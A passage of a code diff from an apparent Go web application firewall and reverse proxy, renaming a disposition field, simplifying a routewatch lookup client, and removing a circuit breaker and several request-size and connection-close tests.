// Reputation are the URLs of the blocklists that list the client, then
|
// Reputation are the URLs of the blocklists that list the client, then
|
||||||
// the DNSBL zones whose verdict lists it, their keys masked, then abuseipdb when its
|
// that of the CrowdSec decision list when it does, then the DNSBL zones
|
||||||
|
// whose verdict lists it, their keys masked, then abuseipdb when its
|
||||||
// score is a hit.
|
// score is a hit.
|
||||||
Reputation []string `json:"reputation,omitempty"`
|
Reputation []string `json:"reputation,omitempty"`
|
||||||
// Tags are the request's tags, sorted.
|
// Tags are the request's tags, sorted.
|
||||||
@@ -244,11 +233,10 @@ type RProxyLine struct {
|
|||||||
DurationRequestMS float64 `json:"duration_request_ms"`
|
DurationRequestMS float64 `json:"duration_request_ms"`
|
||||||
DurationResponseMS float64 `json:"duration_response_ms"`
|
DurationResponseMS float64 `json:"duration_response_ms"`
|
||||||
// Disposition is the valid disposition waf answered or, while
|
// Disposition is the valid disposition waf answered or, while
|
||||||
// WAFBackendNoAnswer is true, the value of
|
// DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is ""
|
||||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither
|
// when neither gave one.
|
||||||
// gave one.
|
|
||||||
Disposition string `json:"disposition,omitempty"`
|
Disposition string `json:"disposition,omitempty"`
|
||||||
WAFBackendNoAnswer bool `json:"waf_backend_no_answer,omitempty"`
|
DefaultDisposition bool `json:"default_disposition,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// Write writes line to w as one JSON line marked "type":"request".
|
// Write writes line to w as one JSON line marked "type":"request".
|
||||||
|
|||||||
@@ -140,7 +140,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
requestlog.NewProcessLogger(&out, "host1/blog", slog.LevelInfo).
|
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).
|
||||||
Info("starting",
|
Info("starting",
|
||||||
"version", "v1")
|
"version", "v1")
|
||||||
|
|
||||||
@@ -152,7 +152,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if fields["type"] != "process" ||
|
if fields["type"] != "process" ||
|
||||||
fields["instance"] != "host1/blog" ||
|
fields["instance"] != "fsn1app1/blog" ||
|
||||||
fields["msg"] != "starting" ||
|
fields["msg"] != "starting" ||
|
||||||
fields["level"] != "INFO" ||
|
fields["level"] != "INFO" ||
|
||||||
fields["version"] != "v1" {
|
fields["version"] != "v1" {
|
||||||
@@ -187,7 +187,7 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
|
|||||||
|
|
||||||
processLog := requestlog.NewProcessLogger(
|
processLog := requestlog.NewProcessLogger(
|
||||||
&out,
|
&out,
|
||||||
"host1/blog",
|
"fsn1app1/blog",
|
||||||
level,
|
level,
|
||||||
)
|
)
|
||||||
for _, at := range levels {
|
for _, at := range levels {
|
||||||
|
|||||||
@@ -99,12 +99,8 @@ type Client struct {
|
|||||||
// answers are by client. Each is added as it comes and never moved up,
|
// answers are by client. Each is added as it comes and never moved up,
|
||||||
// so that the one that came longest ago is the first dropped.
|
// so that the one that came longest ago is the first dropped.
|
||||||
answers *simplelru.LRU[netip.Prefix, Answer]
|
answers *simplelru.LRU[netip.Prefix, Answer]
|
||||||
// asking are the clients whose query is under way, each with the
|
// asking are the clients whose query is under way.
|
||||||
// function that ends it. stopped is true once StopAsking has been
|
asking map[netip.Prefix]bool
|
||||||
// called, and queryGoroutines waits for the goroutine of each query.
|
|
||||||
asking map[netip.Prefix]context.CancelFunc
|
|
||||||
stopped bool
|
|
||||||
queryGoroutines sync.WaitGroup
|
|
||||||
// retryAt is when routewatch may be asked again after a query failed.
|
// retryAt is when routewatch may be asked again after a query failed.
|
||||||
retryAt time.Time
|
retryAt time.Time
|
||||||
}
|
}
|
||||||
@@ -120,7 +116,7 @@ func New(params Params) *Client {
|
|||||||
params: params,
|
params: params,
|
||||||
httpClient: &http.Client{},
|
httpClient: &http.Client{},
|
||||||
answers: answers,
|
answers: answers,
|
||||||
asking: map[netip.Prefix]context.CancelFunc{},
|
asking: map[netip.Prefix]bool{},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -128,9 +124,8 @@ func New(params Params) *Client {
|
|||||||
// IPv6 group, or why it has no route. It never waits for a query. A client
|
// IPv6 group, or why it has no route. It never waits for a query. A client
|
||||||
// without an answer is asked about in the background, by addr, the address its
|
// without an answer is asked about in the background, by addr, the address its
|
||||||
// request came from, unless its query is under way, a query failed less than
|
// request came from, unless its query is under way, a query failed less than
|
||||||
// failureKept ago, maxQueries are under way, or StopAsking has been called. ctx
|
// failureKept ago, or maxQueries are under way. ctx is the context of the
|
||||||
// is the context of the client's request, and a query goes on after the request
|
// client's request, and a query goes on after the request ends.
|
||||||
// ends, until StopAsking.
|
|
||||||
func (c *Client) Route(
|
func (c *Client) Route(
|
||||||
ctx context.Context, client netip.Prefix, addr netip.Addr,
|
ctx context.Context, client netip.Prefix, addr netip.Addr,
|
||||||
) (Route, Missing) {
|
) (Route, Missing) {
|
||||||
@@ -152,38 +147,15 @@ func (c *Client) Route(
|
|||||||
return Route{}, RequestFailed
|
return Route{}, RequestFailed
|
||||||
}
|
}
|
||||||
|
|
||||||
_, asking := c.asking[client]
|
if !c.asking[client] && len(c.asking) < maxQueries {
|
||||||
if !asking && !c.stopped && len(c.asking) < maxQueries {
|
c.asking[client] = true
|
||||||
queryCtx, end := context.WithCancel(context.WithoutCancel(ctx))
|
|
||||||
c.asking[client] = end
|
|
||||||
|
|
||||||
c.queryGoroutines.Go(func() {
|
go c.ask(context.WithoutCancel(ctx), client, addr)
|
||||||
defer end()
|
|
||||||
|
|
||||||
c.ask(queryCtx, client, addr)
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return Route{}, NoAnswerYet
|
return Route{}, NoAnswerYet
|
||||||
}
|
}
|
||||||
|
|
||||||
// StopAsking ends the queries under way, and returns once their goroutines
|
|
||||||
// have. A query it ends gives no answer and is no failure: it is not logged,
|
|
||||||
// and routewatch is not left alone after it. After StopAsking, Route asks
|
|
||||||
// routewatch nothing.
|
|
||||||
func (c *Client) StopAsking() {
|
|
||||||
c.mu.Lock()
|
|
||||||
|
|
||||||
c.stopped = true
|
|
||||||
for _, end := range c.asking {
|
|
||||||
end()
|
|
||||||
}
|
|
||||||
|
|
||||||
c.mu.Unlock()
|
|
||||||
|
|
||||||
c.queryGoroutines.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
// Snapshot returns every answer still in use, sorted by client, as
|
// Snapshot returns every answer still in use, sorted by client, as
|
||||||
// routewatch.json lists them.
|
// routewatch.json lists them.
|
||||||
func (c *Client) Snapshot() []Answer {
|
func (c *Client) Snapshot() []Answer {
|
||||||
@@ -233,8 +205,7 @@ func (c *Client) Load(answers []Answer) {
|
|||||||
// ask asks routewatch about addr, keeps the answer as client's, and notes the
|
// ask asks routewatch about addr, keeps the answer as client's, and notes the
|
||||||
// query as no longer under way. A query that fails gives no answer, and
|
// query as no longer under way. A query that fails gives no answer, and
|
||||||
// routewatch is not asked again for failureKept. Only the first failure of
|
// routewatch is not asked again for failureKept. Only the first failure of
|
||||||
// those under way is logged. A query ended as ctx ends, by StopAsking, is no
|
// those under way is logged.
|
||||||
// failure.
|
|
||||||
func (c *Client) ask(
|
func (c *Client) ask(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
client netip.Prefix,
|
client netip.Prefix,
|
||||||
@@ -242,20 +213,18 @@ func (c *Client) ask(
|
|||||||
) {
|
) {
|
||||||
route, err := c.query(ctx, addr)
|
route, err := c.query(ctx, addr)
|
||||||
now := c.params.Now()
|
now := c.params.Now()
|
||||||
isFailure := err != nil && ctx.Err() == nil
|
|
||||||
|
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
|
|
||||||
delete(c.asking, client)
|
delete(c.asking, client)
|
||||||
|
|
||||||
firstFailure := isFailure && !now.Before(c.retryAt)
|
firstFailure := err != nil && !now.Before(c.retryAt)
|
||||||
|
|
||||||
switch {
|
if err == nil {
|
||||||
case err == nil:
|
|
||||||
c.answers.Add(client, Answer{
|
c.answers.Add(client, Answer{
|
||||||
Client: client, Netblock: route.Netblock, ASN: route.ASN, Answered: now,
|
Client: client, Netblock: route.Netblock, ASN: route.ASN, Answered: now,
|
||||||
})
|
})
|
||||||
case isFailure:
|
} else {
|
||||||
c.retryAt = now.Add(failureKept)
|
c.retryAt = now.Add(failureKept)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -361,54 +361,6 @@ func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestStopAskingEndsTheQueryUnderWayAsNoFailureAndAsksNoMore(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// In a synctest bubble, as TestHangingRoutewatchNeverDelaysAndFailsTheQuery
|
|
||||||
// says.
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
f := &fixture{t: t, log: &syncBuffer{}}
|
|
||||||
f.client = routewatch.New(routewatch.Params{
|
|
||||||
URL: silentURL, Now: time.Now,
|
|
||||||
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
|
|
||||||
})
|
|
||||||
|
|
||||||
f.route()
|
|
||||||
synctest.Wait()
|
|
||||||
|
|
||||||
// The query is ended, not waited out.
|
|
||||||
began := time.Now()
|
|
||||||
|
|
||||||
f.client.StopAsking()
|
|
||||||
|
|
||||||
if waited := time.Since(began); waited != 0 {
|
|
||||||
t.Errorf("StopAsking returned after %s, want at once", waited)
|
|
||||||
}
|
|
||||||
|
|
||||||
// A query started now would fail within waitLimit. None is, and the
|
|
||||||
// one ended is no failure: nothing is logged, and routewatch is not
|
|
||||||
// left alone.
|
|
||||||
for range 2 {
|
|
||||||
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
|
|
||||||
t.Errorf(
|
|
||||||
"Route gave %q, want %q",
|
|
||||||
missing,
|
|
||||||
routewatch.NoAnswerYet,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
time.Sleep(waitLimit)
|
|
||||||
synctest.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
if f.log.String() != "" {
|
|
||||||
t.Errorf("process log %q, want nothing", f.log.String())
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -1,82 +0,0 @@
|
|||||||
package rproxy
|
|
||||||
|
|
||||||
import (
|
|
||||||
"errors"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
// What opens the circuit breaker, and how often a request asks waf while it is
|
|
||||||
// open.
|
|
||||||
const (
|
|
||||||
breakerFailures = 5
|
|
||||||
breakerWindow = 5 * time.Second
|
|
||||||
breakerAskInterval = time.Second
|
|
||||||
)
|
|
||||||
|
|
||||||
// errBreakerOpen is why a request did not ask waf.
|
|
||||||
var errBreakerOpen = errors.New(
|
|
||||||
"waf is not asked while the circuit breaker is open",
|
|
||||||
)
|
|
||||||
|
|
||||||
// breaker is the circuit breaker for asks to waf. It opens when
|
|
||||||
// breakerFailures asks fail within breakerWindow. An ask fails when it gets no
|
|
||||||
// answer in time, or an answer rproxy cannot pass on. While it is open, at
|
|
||||||
// most one request each breakerAskInterval asks waf. Any usable answer closes
|
|
||||||
// it, whatever it decides, and forgets the failures before it.
|
|
||||||
type breaker struct {
|
|
||||||
mu sync.Mutex
|
|
||||||
// failures holds the times of the latest failed asks, oldest first, at most
|
|
||||||
// breakerFailures of them.
|
|
||||||
failures []time.Time
|
|
||||||
open bool
|
|
||||||
// lastAsk is when a request last asked waf while the breaker was open.
|
|
||||||
lastAsk time.Time
|
|
||||||
}
|
|
||||||
|
|
||||||
// mayAsk reports whether a request may ask waf at now. While the breaker is
|
|
||||||
// open, it says yes once each breakerAskInterval.
|
|
||||||
func (b *breaker) mayAsk(now time.Time) bool {
|
|
||||||
b.mu.Lock()
|
|
||||||
defer b.mu.Unlock()
|
|
||||||
|
|
||||||
if !b.open {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
if now.Sub(b.lastAsk) < breakerAskInterval {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
b.lastAsk = now
|
|
||||||
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
|
|
||||||
// noteAnswer notes that an ask got an answer rproxy can use. It closes the
|
|
||||||
// breaker and forgets the failures before it.
|
|
||||||
func (b *breaker) noteAnswer() {
|
|
||||||
b.mu.Lock()
|
|
||||||
defer b.mu.Unlock()
|
|
||||||
|
|
||||||
b.open = false
|
|
||||||
b.failures = nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// noteFailure notes that an ask that ended at now got no answer in time, and
|
|
||||||
// opens the breaker if breakerFailures asks have failed within breakerWindow.
|
|
||||||
func (b *breaker) noteFailure(now time.Time) {
|
|
||||||
b.mu.Lock()
|
|
||||||
defer b.mu.Unlock()
|
|
||||||
|
|
||||||
b.failures = append(b.failures, now)
|
|
||||||
if len(b.failures) > breakerFailures {
|
|
||||||
b.failures = b.failures[1:]
|
|
||||||
}
|
|
||||||
|
|
||||||
if !b.open && len(b.failures) == breakerFailures &&
|
|
||||||
now.Sub(b.failures[0]) <= breakerWindow {
|
|
||||||
b.open = true
|
|
||||||
b.lastAsk = now
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,142 +0,0 @@
|
|||||||
package rproxy_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
|
||||||
)
|
|
||||||
|
|
||||||
// The breaker tests give the breaker each time themselves, counted from
|
|
||||||
// time.Now(), and never wait.
|
|
||||||
|
|
||||||
// fail notes count failed asks on b, one each step from at.
|
|
||||||
func fail(b *rproxy.Breaker, at time.Time, count int, step time.Duration) {
|
|
||||||
for i := range count {
|
|
||||||
b.NoteFailure(at.Add(time.Duration(i) * step))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// openBreaker returns a breaker opened at now by five failed asks, one a
|
|
||||||
// second.
|
|
||||||
func openBreaker(now time.Time) *rproxy.Breaker {
|
|
||||||
b := &rproxy.Breaker{}
|
|
||||||
fail(b, now.Add(-4*time.Second), 5, time.Second)
|
|
||||||
|
|
||||||
return b
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFourFailedAsksWithinFiveSecondsLeaveTheBreakerClosed(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
now := time.Now()
|
|
||||||
b := &rproxy.Breaker{}
|
|
||||||
fail(b, now, 4, time.Second)
|
|
||||||
|
|
||||||
if !b.MayAsk(now.Add(3 * time.Second)) {
|
|
||||||
t.Error("a request may not ask, want it to")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFiveFailedAsksWithinFiveSecondsOpenTheBreaker(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
now := time.Now()
|
|
||||||
b := openBreaker(now)
|
|
||||||
|
|
||||||
if b.MayAsk(now) {
|
|
||||||
t.Error("a request may ask, want it not to")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFiveFailedAsksOverMoreThanFiveSecondsLeaveTheBreakerClosed(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
now := time.Now()
|
|
||||||
b := &rproxy.Breaker{}
|
|
||||||
fail(b, now, 5, 1300*time.Millisecond)
|
|
||||||
|
|
||||||
if !b.MayAsk(now.Add(6 * time.Second)) {
|
|
||||||
t.Error("a request may not ask, want it to")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAnAnswerBetweenFailedAsksKeepsTheBreakerClosed(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
now := time.Now()
|
|
||||||
b := &rproxy.Breaker{}
|
|
||||||
fail(b, now, 4, 100*time.Millisecond)
|
|
||||||
b.NoteAnswer()
|
|
||||||
fail(b, now.Add(500*time.Millisecond), 4, 100*time.Millisecond)
|
|
||||||
|
|
||||||
if !b.MayAsk(now.Add(900 * time.Millisecond)) {
|
|
||||||
t.Error("a request may not ask, want it to")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAnOpenBreakerLetsOneRequestAskEachSecond(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
now := time.Now()
|
|
||||||
b := openBreaker(now)
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
after time.Duration
|
|
||||||
want bool
|
|
||||||
}{
|
|
||||||
{999 * time.Millisecond, false},
|
|
||||||
{time.Second, true},
|
|
||||||
{time.Second, false},
|
|
||||||
{1500 * time.Millisecond, false},
|
|
||||||
{2 * time.Second, true},
|
|
||||||
} {
|
|
||||||
got := b.MayAsk(now.Add(tc.after))
|
|
||||||
if got != tc.want {
|
|
||||||
t.Errorf("may ask %v after it opened: %v, want %v",
|
|
||||||
tc.after, got, tc.want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAFailedAskKeepsTheBreakerOpen(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
opened := time.Now()
|
|
||||||
b := openBreaker(opened)
|
|
||||||
now := opened.Add(time.Second)
|
|
||||||
b.MayAsk(now)
|
|
||||||
b.NoteFailure(now)
|
|
||||||
|
|
||||||
if b.MayAsk(now.Add(999 * time.Millisecond)) {
|
|
||||||
t.Error("a request may ask, want it not to")
|
|
||||||
}
|
|
||||||
|
|
||||||
if !b.MayAsk(now.Add(time.Second)) {
|
|
||||||
t.Error("a request may not ask a second later, want it to")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestOneAnswerClosesTheBreaker(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
opened := time.Now()
|
|
||||||
b := openBreaker(opened)
|
|
||||||
now := opened.Add(time.Second)
|
|
||||||
b.MayAsk(now)
|
|
||||||
b.NoteAnswer()
|
|
||||||
|
|
||||||
if !b.MayAsk(now) {
|
|
||||||
t.Error("a request may not ask, want it to")
|
|
||||||
}
|
|
||||||
|
|
||||||
// The failures before the answer no longer count, so one more does not open
|
|
||||||
// the breaker again.
|
|
||||||
b.NoteFailure(now)
|
|
||||||
|
|
||||||
if !b.MayAsk(now) {
|
|
||||||
t.Error("a request may not ask after one failure, want it to")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
package rproxy
|
|
||||||
|
|
||||||
import "time"
|
|
||||||
|
|
||||||
// StopBreakerClock has the circuit breaker of s read at as the time, so that how
|
|
||||||
// long requests take cannot matter to it. It is called before s serves.
|
|
||||||
func (s *Server) StopBreakerClock(at time.Time) {
|
|
||||||
s.h.breakerClock = func() time.Time { return at }
|
|
||||||
}
|
|
||||||
|
|
||||||
// Breaker is the circuit breaker, for tests that give it the time.
|
|
||||||
type Breaker struct {
|
|
||||||
b breaker
|
|
||||||
}
|
|
||||||
|
|
||||||
// MayAsk reports whether a request may ask waf at now.
|
|
||||||
func (b *Breaker) MayAsk(now time.Time) bool {
|
|
||||||
return b.b.mayAsk(now)
|
|
||||||
}
|
|
||||||
|
|
||||||
// NoteAnswer notes that an ask got an answer rproxy can use.
|
|
||||||
func (b *Breaker) NoteAnswer() {
|
|
||||||
b.b.noteAnswer()
|
|
||||||
}
|
|
||||||
|
|
||||||
// NoteFailure notes that an ask that ended at now got no answer in time.
|
|
||||||
func (b *Breaker) NoteFailure(now time.Time) {
|
|
||||||
b.b.noteFailure(now)
|
|
||||||
}
|
|
||||||
@@ -26,10 +26,6 @@ import (
|
|||||||
// post is the start of a POST whose headers end with what follows it.
|
// post is the start of a POST whose headers end with what follows it.
|
||||||
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
||||||
|
|
||||||
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
|
|
||||||
// body, the 64 KiB rproxy reads before it asks waf.
|
|
||||||
const limitPastFirstPart = "128K"
|
|
||||||
|
|
||||||
// announcedLength is the header that announces a body of size bytes, and the
|
// announcedLength is the header that announces a body of size bytes, and the
|
||||||
// end of the headers.
|
// end of the headers.
|
||||||
func announcedLength(size int) string {
|
func announcedLength(size int) string {
|
||||||
@@ -71,59 +67,6 @@ func TestServerHasTheFixedLimits(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// getOfSize is a GET whose request line and headers, the blank line that ends
|
|
||||||
// them included, are size bytes long.
|
|
||||||
func getOfSize(size int) string {
|
|
||||||
const start, end = "GET / HTTP/1.1\r\nHost: site.example\r\nX-Pad: ", "\r\n\r\n"
|
|
||||||
|
|
||||||
return start + strings.Repeat("x", size-len(start)-len(end)) + end
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestARequestLineAndHeadersOf32KiBReachTheApp(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
|
||||||
app := startApp(t, greet)
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
|
||||||
send(t, conn, getOfSize(32<<10))
|
|
||||||
|
|
||||||
if status := readStatus(t, conn); status != http.StatusOK {
|
|
||||||
t.Errorf("status %d, want the app's 200", status)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestARequestLineAndHeadersOver32KiBAreRefusedAndTheConnectionClosed(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
|
||||||
t.Error("the app was asked")
|
|
||||||
})
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
|
||||||
send(t, conn, getOfSize(32<<10+1))
|
|
||||||
|
|
||||||
// io.ReadAll returns without an error only once rproxy has closed the
|
|
||||||
// connection.
|
|
||||||
text, err := io.ReadAll(conn)
|
|
||||||
if err != nil || !strings.HasPrefix(string(text), "HTTP/1.1 431 ") {
|
|
||||||
t.Errorf(
|
|
||||||
"read %q (%v), want 431 and the connection closed",
|
|
||||||
text,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(standIn.questions) != 0 {
|
|
||||||
t.Error("waf was asked")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -132,10 +75,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
size, asked int
|
size, asked int
|
||||||
}{
|
}{
|
||||||
{"with the limit within the first part", "1K", 1025, 1024},
|
{"with the limit within the first part", "1K", 1025, 1024},
|
||||||
{
|
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
|
||||||
"with the limit past the first part", limitPastFirstPart, 129 << 10,
|
|
||||||
questionBodyMaxBytes,
|
|
||||||
},
|
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -196,134 +136,6 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
waf http.HandlerFunc
|
|
||||||
rest int
|
|
||||||
status int
|
|
||||||
}{
|
|
||||||
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
|
|
||||||
{"denied", deny, 65 << 10, http.StatusForbidden},
|
|
||||||
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
|
|
||||||
// connection's buffers. Otherwise the visitor is still sending when the
|
|
||||||
// connection closes, and gets a reset.
|
|
||||||
{
|
|
||||||
"with more than 256 KiB left", allow, 272 << 10,
|
|
||||||
http.StatusRequestEntityTooLarge,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, tc.waf)
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
|
||||||
t.Error("the app was asked")
|
|
||||||
})
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL,
|
|
||||||
map[string]string{maxRequestSize: limitPastFirstPart})
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
|
||||||
send(t, conn, post+"Connection: close\r\n"+
|
|
||||||
announcedLength(questionBodyMaxBytes+tc.rest)+
|
|
||||||
strings.Repeat("x", questionBodyMaxBytes))
|
|
||||||
|
|
||||||
reader := bufio.NewReader(conn)
|
|
||||||
|
|
||||||
res, err := http.ReadResponse(reader, nil)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("read the answer: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
_, _ = io.Copy(io.Discard, res.Body)
|
|
||||||
_ = res.Body.Close()
|
|
||||||
|
|
||||||
if res.StatusCode != tc.status {
|
|
||||||
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The rest goes in small parts, so that a reset fails a later one.
|
|
||||||
for sent := 0; sent < tc.rest; sent += 1 << 10 {
|
|
||||||
send(t, conn, strings.Repeat("x", 1<<10))
|
|
||||||
}
|
|
||||||
|
|
||||||
got, err := io.ReadAll(reader)
|
|
||||||
if err != nil || len(got) != 0 {
|
|
||||||
t.Errorf(
|
|
||||||
"after the answer, read %q and %v, want the end",
|
|
||||||
got,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
|
||||||
w.Header().Set(dispositionHeader, dispositionClose)
|
|
||||||
w.WriteHeader(http.StatusOK)
|
|
||||||
})
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
|
||||||
t.Error("the app was asked")
|
|
||||||
})
|
|
||||||
// The request time limit is far longer than dial's deadline.
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
|
||||||
maxRequestTime: "120000",
|
|
||||||
})
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
|
||||||
send(t, conn, post+"Connection: close\r\n"+
|
|
||||||
announcedLength(2*questionBodyMaxBytes)+
|
|
||||||
strings.Repeat("x", questionBodyMaxBytes))
|
|
||||||
|
|
||||||
// If the connection stays open, dial's deadline ends this read with a timeout.
|
|
||||||
text, err := io.ReadAll(conn)
|
|
||||||
if err != nil || len(text) != 0 {
|
|
||||||
t.Errorf(
|
|
||||||
"read %q (%v), want the connection closed without an answer",
|
|
||||||
text,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
|
||||||
// The flush has the app's server send greeting in chunks instead of adding a
|
|
||||||
// Content-Length.
|
|
||||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
|
||||||
rc := http.NewResponseController(w)
|
|
||||||
_ = rc.EnableFullDuplex()
|
|
||||||
|
|
||||||
_, _ = io.WriteString(w, greeting)
|
|
||||||
_ = rc.Flush()
|
|
||||||
})
|
|
||||||
// The request time limit is far longer than dial's deadline.
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
|
||||||
maxRequestTime: "120000",
|
|
||||||
})
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
|
||||||
send(t, conn, post+"Connection: close\r\n"+
|
|
||||||
announcedLength(2*questionBodyMaxBytes)+
|
|
||||||
strings.Repeat("x", questionBodyMaxBytes+1))
|
|
||||||
|
|
||||||
